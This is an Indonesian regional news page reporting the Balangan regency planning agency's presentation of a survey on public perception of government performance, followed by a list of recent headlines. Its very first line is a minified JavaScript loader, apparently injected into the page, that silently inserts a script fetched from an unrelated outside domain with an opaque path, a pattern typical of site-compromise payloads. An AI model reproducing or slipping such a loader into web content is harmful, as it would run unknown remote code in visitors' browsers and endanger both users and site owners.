(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Balangan

Bappedalitbang Balangan Ekspose Akhir Kajian Pembangunan dan Pelayanan Publik


KANALKALIMANTAN.COM, BALANGAN – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Balangan melakukan ekspose akhir kajian persepsi publik terhadap kinerja pembangunan dan pelayanan publik di Kabupaten Balangan, Rabu (4/10/2023).

Ketua Peneliti Studi Kebijakan Publik Universitas Lambung Mangkurat (ULM) Banjarmasin, Dr Taufik Arbain mengatakan, kajian survei ini merupakan inisiasi dari Bappedalitbang yang bekerja sama dengan pusat studi kebijakan publik. Survei dilakukan untuk melakukan percobaan pemetaan sejauh mana kinerja Pemerintah Kabupaten Balangan dalam pembangunan dan pelayanan publik.

“Bertujuan untuk menganalisis yang terpenting adalah rekomendasi apa yang harus dibuat ke depannya, kita memberikan apresiasi besar terhadap inisiasi yang dilakukan Bappedalitbang Balangan, karena selama ini biasanya penilaian kinerja itu dinilai secara internal oleh lembaga itu sendiri,” ujar akademisi Fisip ULM ini.

Dikatakan Taufik Arbain, berdasarkan survei yang dilakukan capaian kinerja pemerintah yang baik itu berkisar antara 70-80 persen, sedangkan sangat baik berada pada kisaran 10-20 persen.

“Ada beberapa catatan penting dibalik penilaian kinerja seperti fasilitas pengembangan kawasan wisata di desa kemudian pembinaan Bumdes, perbaikan infrastruktur jalan dan jembatan di desa agar lebih ditingkatkan, termasuk juga lapangan pekerjaan bagi penduduknya,” jelasnya.

Sementara itu, Kepala Bappedalitbang Kabupaten Balangan, Rakhmadi Yusni, mengatakan pergeseran peran pemerintah daerah menuju model demokrasi tentunya menuntut peningkatan kualitas pelayanan publik yang baik dan dapat diterima.

“Capaian pembangunan sudah ada, ada RPJMD yang diturunkan menjadi Renstra lalu menjadi RKPD. Lalu hal itu kita campur antara capaian dengan persepsi publik dan hasilnya tidak terlalu jauh antara 70-80 persen, dan yang pasti tentunya itu perlu kita cermati bersama lagi,” ujarnya.

Melihat dari ekspose ini, Rakhmadi menyimpulkan bahwa dengan adanya kajian tersebut dapat diketahui banyak sekali variasi cakupan pelayanan yang bisa dilaksanakan pemerintah daerah untuk dijalankan sesuai dengan model pelayanan publik yang ideal. (Kanalkalimantan.com/mcbalangan/adv)

Editor : kk


Muhammad Andi

Recent Posts

Peringati Hari Buruh, PLN Tebar Kebaikan untuk Petugas Kebersihan Kebun Raya Banua

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

2 jam ago

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

5 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

5 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

5 jam ago

Wagub Edy Pratowo Maju Pilkada Kalteng, Siap Dipasang Posisi Apapun

KANALKALIMANTAN.COM, PALANGKARAYA - Wakil Gubernur (Wagub) Kalimantan Tengah (Kalteng), Edy Pratowo, mengumumkan keputusannya untuk mendaftarkan… Read More

6 jam ago

Target Juara Umum Popda Kalsel 2024, Aditya Janji Beri Bonus Pribadi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin melepas 109 atlet untuk berlaga dalam… Read More

6 jam ago

This website uses cookies.